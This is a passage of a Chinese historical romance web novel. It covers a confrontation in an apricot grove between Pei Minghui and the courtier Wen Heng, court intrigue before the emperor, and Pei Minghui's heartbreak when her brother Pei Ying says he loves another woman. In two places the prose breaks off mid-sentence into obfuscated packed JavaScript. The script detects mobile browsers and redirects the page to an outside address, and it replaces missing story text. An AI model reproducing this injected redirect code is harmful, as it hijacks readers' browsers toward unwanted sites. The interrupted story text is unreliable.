裴明绘所有好心情一瞬间烟消云散,恐惧蚀骨而生,但是她到底也是经过大风大浪的人物,遂逼着自己冷静下来。 转身就走未必就能摆脱温珩,所以看来不得不打招呼了。 裴明绘面上微笑着,颔首致意。 “温大人。” 像是对待最陌生的熟人一般,礼貌而疏远。 温珩惊讶地挑了挑眉,扬起了精致的下颌:“看来小姐并不惊讶在这里见到温某,温某实为欣慰。” 裴明绘:“杏林如此美,我自无独占之理,天色不早了,我先走了,就不打搅温大人赏花之兴了。” 裴明绘刚走出一步,那艳丽的红色身影就像是鬼魅一般飘了过来,正正挡在她的身前。 他带着狡黠的笑声传了过来:“小姐怎么这么着急走,我又不会吃了你。” 裴明绘向左走了一步,温珩遂又跨了一步挡住了她的路。 “……” 裴明绘抬起头来,冷冷地看着温珩。 “让开。” 温珩闻言,凤眸里波光宛转,似有受伤之意:“不过三月未见,小姐便如此生疏,看来我们之间似乎有些误会。” “……” 见眼前人如此厚脸皮,裴明绘停止与他兜圈子,掀起眼皮来,黑眸闪过一丝寒意,她冷冷道:“误会?那倒未必是误会,只是明月坊的库房为何失火,想必温大人清楚得很。” 裴明绘知道眼前的男人是个疯子,不可以轻易待之,也不能以常理心度之。 更重要的是,裴瑛临进宫之前才警告过她,焉知他在此处没有耳目? 方才修复的兄妹情焉能再被此人破坏。 所以她强压着心头的怒火,理智地与之斡旋,尽量不要激怒温珩,让他说出一些不得了的话来。 “哦,我当是什么。”温珩恍然大悟,红唇勾起,露出整洁的银色齿列,“原来是这件事,天干物燥,难免走水。我只浅浅点了一把火,谁知道就烧起来了。” 听他的语气,似乎他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098493|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是受害者一般,裴明绘顿时火上心头:“你点的火,那你还来见我!你怎么这么无耻。” 裴明绘一把推在他的胸膛,温珩原先纹丝不动,看见她的怒火中烧显然气得不轻的样子,便儿戏地后退几步,垂首笑了起来,又抬起了头来,面上余留着尚未消散的散漫笑意,他摆了摆手,显然没把她的攻击放在心里。 “别着急走吗?” 眼见裴明绘要走,温珩一把拉住裴明绘的手腕,顺势一拉,裴明绘便一步也不能后退。 “放肆!”裴明绘想要将禁锢着自己的手甩开,奈何温珩用力极巧,像是罗网一般缚住她纤细的手腕,开始松泛留有空隙,实则寸寸紧逼不得解脱。 他一用力,裴明绘便如同被绳子牵引着一样往前走去。 她起抬头,他俯下身。 柔和的春风拂过,带来杏花香气。 “你也不想让你哥哥知道我们的事罢。” 裴明绘闻言,冷笑一声,眸光闪过波澜:“我哥哥早就知道了,你少拿这件事来威胁我。松手!” “哦,看来裴瑛也知道妹妹爱哥哥的事了。” 温珩状似惊讶,笑着说道。 一语石破惊天。 裴明绘的脸色瞬间凝固了,她的眼瞳颤抖着,不可置信地看着温珩。 漫天杏花纷飞里,微笑着的红衣少年像是玩弄人心的恶鬼一般。 “看来,我说对了。” 温珩惊讶地喟叹一声。 “真是不敢想象,若是那个自诩清高的裴瑛知道自己一直疼爱的妹妹对自己怀着不轨之心,脸上会是什么颜色?某真是太期待了。” 裴明绘的脸色越来越白,牙关越咬越紧,她一把挣脱温珩的钳制,揪住他的衣领。 温珩见状,便顺势弯曲膝盖将身子压低后仰,顺服地占据低位让裴明绘来俯视他,眨着美丽而又无辜的眼眸看着裴明绘。 “你怎么知道……” 裴明绘几乎是从牙关里挤出来这句话。 “没办法,我只要一看就知道了。”温珩笑吟吟地说道,“谁让我天生就会探究人心呢。” 她浑身颤抖着,手部的骨骼用力嘎吱作响。 心里隐秘的情感被不该知晓的第三人知晓,愤怒恐惧迷茫霎时如潮水般席卷而来,欲望告诉她应该将眼前人碎尸万段,可理智却告诉她,她没有能力这样做。 在内心的天人交战之中,理智终究占据上风。 可就在二人僵持之时,温珩从容嬉笑的神色忽然消失,漆黑的眸子里闪过一丝冷寂,但很快又尽数淹没在光晕里。 “哎,光天化日,真要如此着急吗?” 他的话如此妩媚,尾音微微扬起,带着隐隐约约的情|欲。 可就在裴明绘不明所以之时,就在温珩冲她眨了眨眼,裴明绘顿感不妙,可她已经来不及松手了,温珩已然张开手臂,卸去全身的力道,向后跌去。 裴明绘被他带着,也往前摔去。 瞬间满地落花飞扬,她重重跌在他的怀里,而他怀里那氤氲的香气遂扑鼻而来,迷人心智惑人心神。 随后而来是脚步之声。 裴明绘瞬间变明白了温珩意欲何为。 一瞬间恐惧与杀意并行而至,她的身体因此而剧烈地颤抖着。 啊啊啊,她要杀了他杀了他! 碎尸万段焉能泄其恨啊! 44. 第 44 章 但是很快,恐惧便将愤怒压过,理智迅速回归。 裴明绘也绝非坐以待毙之人,她被温珩坑了这么惨,岂能再跌进陷阱。 她遂撑地坐在他的身上压制着他,而后趁其不备左右开弓,给了他两记耳光。 一瞬间,风似乎都停止了,林稍花海也不再翻涌了。 温珩不可置信地看向裴明绘,白皙的面上多了两个突兀的红印,一丝如同胭脂一般的鲜血缓缓从唇角流了下来,原本整洁的发丝散乱开来,沾满了清新美丽的落花。 纵然如此狼狈,温珩身上也有一种被凌|虐的美感,他的眼睛像是破碎的琉璃,折射着带着杏花颜色的绚烂光澜,又有潮湿的水光,其间波光粼粼好似纯净的湖面,让人忍不住便陷了进去。 “让你欺负我哥哥!” 裴明绘立即掐住他的脖子,用尽平生所有的力气,而后一头撞了上去。 “去死!” 就在撞击的一瞬间她脑袋瞬间发闷,她的眼前是一片接着一片的白光,裴明绘感觉有人拎住了她的胳膊,将她温珩身上拉了起来。 天旋地转,裴明绘笑着看着地上有许许多多重影的红色身影,她虽然看不清,但然间他依旧没有起来,她的眉毛挑起,不乏挑衅之意。 “裴小姐,你还好吗?” 声音似乎并非是裴瑛的,裴明绘遂大喜,顿时高兴得泪流满面。 这一撞委实不轻,就算是温珩一时间也是头昏脑涨不能消受。 “这是怎么了。” 温和而又关切的声音传来。 “怎么打起来了?” 裴明绘晃了晃脑袋,艰难地扭过头去,结果就看见了满是重影的一张脸,她又努力地眨了眨眼睛,才看清眼前人是谁。 桑弘羊。 他怎么在这儿。 可是裴明绘来不及多想,现在当务之急是要消除眼前天大的误会。 “桑大人。” 裴明绘抬起袖子擦去眼泪。 桑弘羊显然有些尴尬,他的目光还是忍不住看向从地上站起来的分外凌乱的温珩,见一贯仗势欺人的温珩竟被一介妇人殴打成如此模样,尴尬之余还是有些高兴。 当然,高兴归高兴,这种情绪自然不能表露出来。 毕竟,满朝文武谁不知道温珩这个披着人皮的恶鬼最是睚眦必报,没人会在他红地发紫得时候招惹他。 这个时候,桑弘羊正左右为难呢。 一旁的裴明绘就哭着跑开了。 没办法,儒雅的桑弘羊也只能冲着嘴角流着血分外狼狈的温珩歉疚地一拱手,然后去追哭着跑开的裴小姐去了。 “裴小姐,你且慢些。” 桑弘羊拉住裴小姐的衣袖,让她停了下来。 裴明绘抽噎着,拿着手帕擦着泪:“桑大人有所不知,妾偶遇温大人,却为温大人恶意刁难,妾几次退让,奈何温大人咄咄逼人,甚至侮辱妾的的兄长,妾受兄长照拂才能安然长大,最是敬重兄长。骤然听闻如此侮辱兄长恶劣之语,气上心头,便与温大人厮打在一处。” “如此粗鲁之行,还望桑大人莫要介怀。” 桑弘羊闻言,方才如释重负,遂出言宽慰道:“裴小姐敬畏爱护兄长之心,在下实为敬佩。裴小姐莫要担心,在下正是应裴大人之托前来寻裴小姐的。” 她就知道! 裴明绘面上依旧一副哀戚的样子,心中暗喜自己的随机应变之能。 “如此行径,实在不堪。妾怕兄长担忧,还望桑大人莫要将此事告诉告诉妾的兄长。妾在此拜谢桑大人了。” 眼见着裴明绘就要跪下了,桑弘羊急忙搀住她的臂膀,将她扶了起来:“哪里哪里,裴小姐体谅兄长之心,在下明白,只是事体重大,这绣衣使者又非寻常人,今小姐得罪于他,乃是惹祸上身啊。” 裴明绘闻言,遂泪流:“妾明白,只是此事未免过于难说,妾回府以后,自会告知兄长。” “这般也好。”桑弘羊点了点头,“裴小姐与裴大人兄妹情深,这般事还是由裴小姐自己说更为妥当。” “妾多谢桑大人体谅。” 裴明绘喜不自胜。 二人方才走了几步,桑弘羊又停住了脚步,微笑着问道,“在下听裴大人说了裴小姐的建言,有几点不明白之处,还请裴小姐指点一二。” 二人本就同为商事出身,趣味相投自不必说。 * 皇帝正在宣室殿批阅奏章,每每看到汉军大捷的消息都让他喜不自胜,就连乏味的儒生的上书都颇有些趣味在了。 就在此时,黄门总管走了进来:“陛下,绣衣使者来了。” “哦。”皇帝抬起眼来,“叫他进来罢。” 黄门总管躬身退下,皇帝也放下手中的奏章,不一会儿温珩就走了进来。 温珩一如既往地那般艳丽,朱色红衣在十三连枝铜灯的融融灯火的照耀下流转着金色的波澜。 可是皇帝还是一眼就看见了温珩脸上的伤,虽然他业已竭力用脂粉来掩饰了,但是还有些许红色的痕迹没办法掩饰掉。 “爱卿这是怎么了?” 皇帝颇为关切地问候道。 “臣无事,只是不慎跌倒了罢了,受了些擦伤。多谢陛下关心。” 温珩微笑着回道。 他在皇帝便是一直温顺的小白兔,所有锋芒都收敛起来。 “如此啊。”皇帝的目光在温珩的脸上梭巡而过,面上并未说什么起伏,只淡淡道,“朕还以为是谁打了爱卿,若是真的有人如此不识好歹,朕定要让他知道,什么叫好歹。” “有陛下在,哪里有人敢欺负臣呢。” 温珩笑着说道,白皙精致的面容也充斥的欢悦,可是眸光被阴影挡住,看不出情绪。 “对了,朕今夜叫你来,便是为着裴瑛妹妹的建言,你且来说说,可否实行。” 皇帝靠在凭几之上。 “臣以为,商业凋敝却是大患,但任由富商巨贾发展也为隐患,裴小姐之策,却是最好的折中之法,但其中未免有贪腐之人,当然这是不可避免的。” 温珩娓娓道来,从他的话来说,却是切实之言,也切中了皇帝的心思。 “所以,臣以为,裴小姐的建言,却是可行。若任由商业凋敝,未免民生受损。” “看来爱卿并没有以为裴卿的事而怨怼于裴家小姐。” 皇帝笑了笑,手肘撑在桌案上,脸搁在手腕上,修长优雅的眉眼不乏审视之意。 “倒是出乎朕的意料。” 温珩闻言,遂单膝跪倒,郑重言道: “臣虽屡遭飞来横祸,赖陛下恩德才免于一死,臣虽不知何处得罪了御史大夫,却也知晓御史大夫是国之栋梁,为汉朝立过大功,今陛下在用人之际,裴小姐虽为裴瑛之妹,却也于国于民大有用处,故臣不敢以一己之私而耽延国事。” 皇帝垂下眼眸,看着温珩忠诚的模样,细长的眼眸闪烁着微光,他不疾不徐慢慢说道:“朕知道温爱卿受苦了,裴瑛近几年行事虽然猖狂了些,但却是为着朕,否则朕也不会留着他。” 温珩慢慢抬起头来,白净的面庞是一双秋水似的眸子,恭顺敬服的笑意之后隐忍着委屈,让眸子如起水波一般。 煌煌莹莹,夺人目睛。 皇帝的目光不由放在了他这身衣服上。 朱衣光亮奢靡,金银交错作经纬,莹润白玉悬在漆黑腰带之上,勾勒窄腰。 皇帝知道温珩做的事,他也知道温珩在外行事多有张狂。 但是这样美丽而又张狂的宠物,却只听他一人的话,如何不让皇帝愉悦呢? 他的心情也跟着扬了起来,他抬了抬手,示意温珩起身:“此事,我知道了,你的忠诚,朕看在眼里,心里也明白。朕不会让你受委屈的。” 温珩讶然抬眸,水波似的目光映着宣室殿千盏灯火,些许辰光之后,他倏然展颜一笑,露出整齐的银色齿列。 “臣多谢陛下。” 他欢喜地躬身跪下,光洁的额头触地。 等到温珩从宣室殿出来的时候,迎面而来的便是微冷的夜风。 他的脸笑得有些僵,便在冷风中站了许久,听着檐下铁门叮咚,他的眸光渐渐冰冷起来,又过了些时候,他才拾阶而下,往云黛殿的方向走去。 曾经力压六宫的桃花夫人,也随曾经的谢皇后一样,在年华老去之后,成了独守空房的旧人了,默默地看着那娇媚的新人取代了他们的位置。 当温珩行到云黛殿时,便也停住了脚步,看着在温夫人盛宠之时皇帝让宫人们为她种下的一大片桃林,桃林掩映间可见灯火幽幽的千黛殿。 只是这桃林花开花败许多年岁,而君王的恩宠业已不在。 温珩不由想到了以前的日子,可是以前的日子太近又太远,清晰又模糊,一瞬间,他甚至不明白自己突然到了如此境地。 “在看什么呢?” 微凉的夜风轻轻吹来,带来熟悉的温柔声音,唤回了温珩的思绪。 他偏过头去,就见温夫人立在不远处,手上还有开得正浓的杏花,盈盈香气缭绕在她的身上。 “阿姐。” 温珩收起所有不好的情绪,快步走了过去。 “怎么采了杏花?” 温珩接过温夫人手中的花枝,那缭绕不散的香气让他的思绪又飘回到了白日的杏林,他的唇角勾起了一丝笑意,但很快便被记忆里那凶狠的一个巴掌打散了,表情骤然冷了下来。 很显然,这次挨打对于温珩来说,并不是一个很好的记忆。 “桃花还没到时候呢。” 温夫人笑着说道,她的笑容温柔得像是悠荡在桃林的暖风,带着幽幽的香甜气息。 “便采些杏花装点宫室。” 姐弟二人走进了黛云殿,殿中装潢一如既往,与温珩被发配西南离开长安之时一模一样,只是原本光亮的金银漆器丝绢布帛似乎都黯淡了下来,陈旧得像是蒙上了一层灰。 温珩将怀中的杏花枝插入漆瓶中,雪白的杏花灼灼盛开着,清香流溢,总让他不自觉地走神。 “近日可还好?自你回来你我姐弟都不常相见呢。”温夫人偏过头来看向总是在走神的温珩,便伸出手来在他眼前晃了晃。 温珩这才回过神来,柔柔一笑,眼睛也眯了起来,“没什么。最近长安正逢多事之时,时局几变今日也算暂时稳下来了,我也能来见阿姐了。” “算你还记得我。” 温夫人笑眯眯地看向温珩,她握住他的手,拉着他在长案后坐下。 “你年纪也不小了,也到了该成婚的年纪,告诉阿姐,可有心仪的女孩子?” “没有。” 几乎是没有犹豫地一口回绝,温珩也惊觉自己的语速。 温夫人先是讶然,而后柔柔地笑了起来,一点朱唇露出皓齿,清新可人。 “以往我问你的时候,你都一脸不屑的样子,说什么情爱都是绊脚石,今日怎么回绝得这么快。” 温珩也皱起了好看的长眉,原本艳丽的容颜也萦绕上一丝迷惑的不解。 “真的没有吗?” 温夫人也察觉了温珩的异样,遂追问道。 “自然了。”温珩又“恢复”了既往的态度,他压下所有的疑惑,“这天下的女子,又又何人能与阿姐相比,何况,我温家尚未雪耻,弟又何颜面耽于情爱呢。” 温夫人面上浮现出一丝忧愁来,纤细的手紧紧握住温珩的手,抬眸看向温珩,美丽的眸子噙满哀伤:“珩儿千万不要耽于仇恨,如今你看这长安,过去的豪强贵族又剩下几家呢?姐姐只想要你好好的,温家落败也就落败了,没有谁会一直强盛的。” “可满城新贵皆豪奢,为何独独我不能呢。” 温珩抬起眼帘来,融融灯火流转在眼底,照亮熊熊野心。 “不进则退,我不进则为强者刀下鬼魂。后宫那李氏狼子野心,几番陷害阿姐。阿姐妇人之仁,却不肯对李氏下手,还以颜色,方才沦落至今。阿姐难道还不明白吗?仁慈百无用处。李氏嚣张过甚,屡屡干碍阿姐行止,依弟之见,当除之……” “温珩!” 一贯柔弱温和的温夫人一下子站了起来,她的胸脯剧烈地欺负着,显然气得不轻,“李夫人得宠此乃陛下之意,我何能责怪于她。我过去既如此作为,今日也不会改。你莫要打李夫人性命的主意,今日我既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152037|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,是我无能守住陛下的恩宠。我就是这样的人,你既不愿意,那就请走罢。” 温夫人背过身去,单薄瘦削的身体分明披着厚实的袍子,可为何还在隐忍地颤抖呢。 温珩看着她的背影,无声站了起来,他垂下眼帘,拱手作礼告辞:“是弟无礼,还请阿姐莫要生气。弟告退,阿姐早些休息,春寒深重,阿姐记得添衣。” 他转身就离去了,夜里的潮湿水汽攀附在他的衣袍之上,这朱色更深更浓,像是氤氲开来的鲜血一般。 分明一母同胞的两个人有着极为相似的眉眼,却是天差地别的两个人。 他的眸光看向那灯火辉煌丝竹萦绕的千芳殿,他偏了偏头,漆黑的眸子落在上面,冷风吹起他鬓边的发丝,他的目光阴暗下来。 千芳殿,是得皇帝盛宠的李夫人的居所。 * 天上一钩弦月,清辉如水,润泽万物。 辎车辚辚停在裴府门前,素手拂起帘子,裴明绘探身而出,扶轼而下,等到绣履踩在地面之时,不由又心惊胆战起来,她先是在府门口游移徘徊好久,她就这样转了好几圈,回回惶惶难以自安,等待冷风盈袖春寒浮衣,她内心的焦躁不安才稍稍退去了些。 毕竟她面对的是精通刑名之学的御史大夫裴瑛,想要装傻委实是一番难事,故此她才如此焦虑。 她艰难整理了繁杂的心绪,方才下定决心走入府中。 一路上并未见到府令苏央,裴明绘才大大地松了一口气,略有些疲惫地服额叹息,发上插着金桃枝发簪坠着的金流苏也微微晃动着。 看样子裴瑛并未收到什么消息,也并不知道自己与温珩碰了面。 否则以哥哥的脾性定然是要拿自己的审问的。 可就在裴明绘准备回房休息之时,刚迈出一步,却又默默收回了脚,她心里突然感觉有些不对。 她最后决定还是去寻一下裴瑛,看一看他的反映,若真是无事,也好叫自己安心。 裴瑛的居所名曰停芜居,在府院第三进处,与她的小融局分在东西两侧。 她走到门前,就见停芜居的大门掩映着,并未关上,平素守候在侍卫婢女也不见了身影,裴明绘有些疑惑,推开门边走了进去。 院中还是老样子,自从裴瑛住进裴府便未曾更改过。 先是千百杆翠竹掩映,风过林稍,像是萧萧落雨之声,若细细辨听,便可听出竹声吟咏之乐声。风其间穿梭而过,带着竹叶清香,拂过粼粼湖泊,揉皱池中月影,吹起两只丹顶鹤的羽毛。 它们转过脑袋来,扇了扇翅膀,却也丝毫不敢扑过来。 三开间两进的屋子前种着几株梨树并杏树,今夜花得更外的好,甚至比未央宫的花还要漂亮。 它们争相吐蕊,绽露花苞,氤氲香气,盼无情公子前来一顾。 春寒未歇,风吹衣襟,此处植被浓密故阴凉甚多,又有幽泉一潭自积寒气,裴明绘突然有些冷,便也提着裙裾拾阶而上,忽地却又发现台阶之上不知何处生了些斑驳在。 她起先以为这是纵横花影,俯身细看,方才发觉是苔藓。 此处处处有专司洒扫的婢女与小厮,怎的这石阶竟生了苔藓。 裴明绘心中虽疑,心中担忧裴瑛,便压下心头疑虑,自往上走。 她停在门前,两扇门合在一处,并未开着。 屋子也并未点着灯。 可是裴明绘方才问过下人了,裴瑛却是在府中,并未曾出门。 裴明绘方才推开了门,屋中的寒气似乎比屋外还重,好似春寒云集于此,她入目所见先是一处待客之所,朱漆花瓶里种着清雅的芭蕉,月光落了下来,如覆银霜。 层层白纱自房梁处垂落,像是幽幽雾气一般,隔断里外间,辟出休憩养息之所。 裴明绘走了过去,抬手轻轻拂开窗纱,目光却不禁落在了一侧的长案之上。 原本长案之上应堆着许多公文简牍才是,可是今日一观,却是只有几幅的丝绢,上下用蓝田玉的镇石压得平整,她借着被白纱筛得稀碎而又迷蒙的月光,用方才看清上面精心所绘之轮廓。 她心里忽然生出难以名状的情绪来,她徐徐走了过来,将身跪下,轻柔地拿开上下两方镇石,纤纤素手执起丝绢来,凝神膝观,便见丝绢之上是一个女子。 一个很熟悉却又很陌生的女子。 轻薄丝绢上,笔锋细腻,精而柔地绘出了一个女子的模样,长纱掩面,单单露出一双形似凤眸的眼睛,黑色的眼珠沉沉无光,虽非真人,无声之间裴明绘却感受到了一种悲戚哀愁。 是她么? 很像,却又不像。 眼睛不像,神韵不像。 她眼睛本生得圆些,素日里也没有太多伤心事,眼睛便也整日圆润得像是一颗水灵灵的葡萄。 而神韵之差眼形之差,业已让事实明白如画。 裴明绘骤然胆战心惊,她的手颤抖着。 除了她,哥哥又会画谁的像呢。 可是哥哥既然画她,又为何似是而非呢。 沉寂已久的不安再度浮上心头,患得患失的痛苦一瞬间蔓延四肢百骸。 她并不了解裴瑛的心,裴瑛也从未同她说过他心中所想。 他曾经说过自己心怀仇恨,无意情爱,可人非草木,孰能无情? 他与她相扶长大,此般情谊,旁人自是比不得,可此情无欲无求,只盼彼此安好,哪里搀得半分男女之情在? 兄妹亲密却有间,这本就是常理。 可偏偏她却生了见不得光的心思,觊觎着自己的哥哥。 爱而不得,痛彻心扉。 她的脊背耸动着颤抖着,像一只受了惊吓的猫,哭也哭不出来。 风过帘动,翠色摇晃,叶叶萧萧,花落厅堂,冷香凄迷。 月过屋檐,玉影东移,堪堪覆在她的身上。 像是鬼魅一般,连空中的蜉蝣都没有惊动,裴瑛无声地停在裴明绘的身后,白衣如雪,冷寂无情,他垂首看着她,只静静观察着她,并不说话。 漆黑的眸子将她的脊背的颤抖神态的惊慌都尽数敛入眸中。 一个跪地弓身痛苦不已,一个长身玉立疑惑不解。 45. 第 45 章 为什么,为什么,为什么是别人呢。 她低着头,手指紧攥着丝绢,脊骨弯曲,长发垂落,浑身上下都在颤抖。 为什么为什么,哥哥怎么可以这样无情呢? 难道自己还比不上她么,自己哪点比不上她。 情与妒交织成罗网,从丝绢之上抽离而来,将她的心紧紧束缚,让她几乎无法呼吸。 裴明绘痛苦非常,正自恍惚间忽觉如芒在背,倏然回首,一仰头便堪堪对上裴瑛的面容。 他居高临下,垂首看着她。 “啊!” 过度的惊吓让她的手颤抖起来,甚至连那薄薄的丝绢都拿不住,丝绢如秋叶般飘零坠落,却在行将触地之时被一只手捞住。 “哥哥?” 裴明绘瞬息之间便收拾好自己所有的情绪,挤出一丝笑来。 “你来此处做什么?” 裴瑛将丝绢放入怀中,声音无起伏。 “我……我只是不见哥哥,便想着来见哥哥。” 裴明绘甫对上裴瑛那漆黑幽远的眸子,便觉得似乎自己的心已然赤裸裸地摆在了案上,眸底所有情绪都无比坦诚地摊开在裴瑛面前,如庖丁解牛般清晰明了。 她揣摩着他的语气,却并问听出任何责怪与关心之意,冷冰冰的没有一丝情绪起伏。 裴明绘直觉裴瑛如此大的变化,似乎是有什么她一直在努力维系的东西轰然破碎了。 裴明绘瞳孔紧缩,而这般细微变化也被裴瑛收入眸中。 先前的痛苦,今时的惊慌,一无例外,尽数收入。 清冷的月辉透过随风浮落的细腻白纱,或浓或重地落在落在他的身上,浮泛着冰冷的光晕,勾勒出颀长优雅的轮廓。 裴明绘直直看着裴瑛的脸,她不知是不是光线的原因,她总觉得此时此刻的裴瑛面容上的血色愈来愈少。 难道,他也跟自己一样惊惶吗,也跟自己一样痛苦吗? 兄妹二人,心照不宣,彼此都有着不可言明的重重心事。 裴瑛的目光像是光滑的镜子,将她的情绪完完全全地映了出来,似乎连她极力隐藏的隐秘情丝也剥开了兄妹身份的外皮,展露在兄长的面前。 一瞬间,似乎有电流贯穿了她的全身,她全身的血肉似乎都凝固了。 她身体僵硬到动弹不得,可是内心却无比焦躁,急迫地想要打破这个危局。 终于苍白露着青筋的手撑在桌案上,裴明绘借力,缓缓站起身来。 裴瑛的目光也随之移动,注视着她僵硬而又缓慢地站起,没有说话。 裴明绘忽然觉得二人之间的氛围过于诡异,涌动的春日寒气带着青竹的清气与杏花的香气穿梭其间,带着二人发丝与衣袍在空中飞舞。 “不知这是谁的画像,里面的人我看着又熟悉又眼生,不知妹妹可曾见过?” 她装出一副好奇的模样,挽袖遮住下半张脸,圆圆的眼睛弯了起来,像是弯弯的月牙,只可惜,笑意破碎,哀戚迷离。 起先遇见这样一双眼睛,裴瑛的瞳眸剧烈地一颤,但很快他又垂下眼帘,将所有激荡的情绪压了下去,取而代之的是不加掩饰的探究,冷冽穿透她眼中惶然的笑,直直透入那颗扑通扑通跳动的心。 “你似乎很好奇。” 裴瑛的尾音微微扬起,带着怀疑与探究。 语气不复往日的温柔与关爱之意,冰冷得像是夹杂着雪粒的风。 裴明绘觉得似乎有什么东西要从自己喉咙里跳出来,可是她依旧强忍着,装出明媚的笑颜来,“能入哥哥画的人,子吟自然好奇了,哥哥……哥哥既然不想说,那妹妹也就不问了。” 裴明绘委实觉得裴瑛今日的脸色很奇怪,既不生气也不高兴,冷寂孤峭宛若立于雪山之巅,冷然旁观着她。 心底跳动的心脏像是擂擂金鼓一般,催促她赶快离去。 “子……子吟先退下去了。就不打扰哥哥休息了。” 就在裴明绘与裴瑛匆匆擦身而过的时候,裴瑛的声音传来了过来。 “她是为兄心悦之人。” 他的话只有平静,没有欢喜,没有雀跃。 霎时,她的动作凝滞住了,前行的脚步虚虚地踩在落满银霜的地毡之上,原本极度躁动的心也停住了跳动。 他说什么? 过了好久,裴明绘眨了眨干涩的眼睛。 他说…… 那个人是他心悦之人…… 怎么可以,怎么可以呢? 瞬间,她的心是一片冰天雪地。 她僵立在原地,过了好久,方才僵硬地转过头去,看向裴瑛。 她眨了眨眼睫,接着朦胧冰冷的月光仔细分辨着,从眉眼到身形,确是裴瑛。 裴瑛静静地看着她,看着她眼中的迷惑,不可置信,再到支离破碎。 裴瑛的眼瞳晃动,似是有所动摇,嘴唇嗫喏着,可是终究闭上了眼,再睁开眼之时这些些微的动摇情绪已然消失不见。 一时之暴雨,总好过长久的潮湿。 他心道。 “哥哥说什么……” 裴明绘所有强颜欢笑的伪装逐渐碎裂开来,可是一息理智尚存,于是残破的笑意便支离破碎地挂在脸上。 唇上朱红褪色,眸中笑意艰难。 裴瑛见她如此模样,并未有关心之语,却也未有诘问之辞,只静静地看着她,末了,他的视线稍稍偏移,落在门前那落花缤纷的杏树之上,自扶疏花叶见看见那被月光映得明亮的云。 情意无限,奈何恨连云海。 裴明绘觉得自己没有办法控制自己的表情,她的心想哭泣,可是理智却让她笑了起来。 “妹妹为哥哥高兴,若有朝一日,妹妹若是能够见到嫂嫂,妹妹定要为哥哥牵线,早日定下姻缘来才是。” 裴明绘笑了起来,但是末了又察觉到自己的面容有些扭曲,又有些水渍自眼眶流了下来,她抬起手来擦了擦,方又道,“妹妹真的好高兴,但听有些人说,哥哥若有了夫人,怕是就忘了妹妹了。” 裴瑛依旧长身立在光影交界处,他本神姿朗彻清冷独绝,虽居高位杀伐果决却依旧心怀仁慈。 他一贯疼爱裴明绘,最见不得她哭。 可是今日的他,却像是换了另一个人一样,冷漠而又无情。 月光僵她所有的痛苦与纠结都映入裴瑛的眼眸,就如光线映入瞳眸一般,照出一般的颜色。 沉默的空气中仿佛有无形的东西在碰撞着,白纱如云涌动不歇,冷风乍起落花翻飞。 他走了过来,抬手擦去她不断流下的泪水。 裴明绘隔着朦胧的泪水看向他,看着他原本清俊隽雅的容颜模糊成光斑,逐渐看不清楚。 “此乃谣言。”他的声音一贯动听,清冷间似有有清香流溢追魂十里,“世上无人,可与你相比。” “你一日是我的妹妹,便永世是我的妹妹。无论是谁,也无法更改。” 一言定生死,让她情何以堪。 似乎在这一瞬间,任何剪不断理还乱的情丝瞬间断尽,就如门外的落花,纷纷扬扬,砸落在地。 “有了哥哥这句话,妹妹就放心了。” 裴明绘甚至忘记自己是怎么离开这里的,她只记得冷风似乎吹入她的五窍,冰冷了她的血液。 这一夜,杏花如雪。 裴瑛依旧站立不动,长案上的丝绢墨画没了镇纸压制,狂风一起,便呼啦啦地飞了起来。 裴瑛依旧没动。 看似一切都没变,可是似乎一切都已经改变了。 他闭上了眼,身上落霜如雪,寂寞如风。 裴明绘踉踉跄跄地跑回了自己的院子,她脚步虚浮,艰难地扶住柱子,才堪堪没有摔倒,她弯着腰,而后扶着柱子,慢慢地跪在地上,深深地低下头去。 原本所有隐秘的情丝轰然碎在心里,像是边缘锋利的琉璃碎片,将她的心乍得千疮百孔鲜血淋漓。 她无声地哭泣着,她不明白为什么一切在此时此刻忽然改变了,可是裴瑛以前说的话却又清晰在耳,他说自己无意于婚嫁,却盼着自己能够寻觅良人。 此时此刻,难道不已经明晰地告诉她了吗? 他无意于她。 那次暧昧至深的错吻,却没有激起他半分的情丝,甚至让有了让郎君入赘的心思。 可是裴瑛日日夜夜忙碌不休,又哪有时间与女子相会呢? 难道是在梦里相会吗? 又或者是惊鸿一瞥便也再也忘不了。 裴明绘紧紧咬着唇,生怕自己哭出声来。 左右朝夕相处生死相依,都比不了那突兀而来的人吗? 长发曳地,如春草蔓延。 她的肩颈颤抖着,无声地流着泪。 难道他真的没有对自己有过一点情爱之念吗? “你一日是我的妹妹,便永世是我的妹妹。无论是谁,也无法更改。” 冷峻决绝的声音再度回响在她的耳边,让她的心瞬间空了,脑海中一片空白。 祠堂相拜结兄妹,此生此世不更改。 屋中春喜夏荷听闻小姐已然归府,却迟迟不见她回来,春喜便遣夏荷去外找,自己则在屋中等待小姐,备好一应盥洗事物。 夏荷甫一推开门,却见满目银辉,美人跪地。 “小姐!” 夏荷顿时吓得跳了起来,忙前行将裴明绘搀了起来,艰难地将她扶了起来,但是裴明绘身体瘫软地似乎将全身的骨骼都抽去了。 “小姐,春喜姐姐快来啊。” 夏荷吓得魂不附体,连忙大叫。 春喜匆匆而来,一到门口便见如此景象,登时吓得不行。 二人把裴明绘搀起来放在榻上,春喜便让夏荷去找家主,夏荷正要跑出去的时候,却又被一只手紧紧拽住了袖子。 “别去。” 那只清瘦的手缓缓收紧,其上青筋隐隐显露。 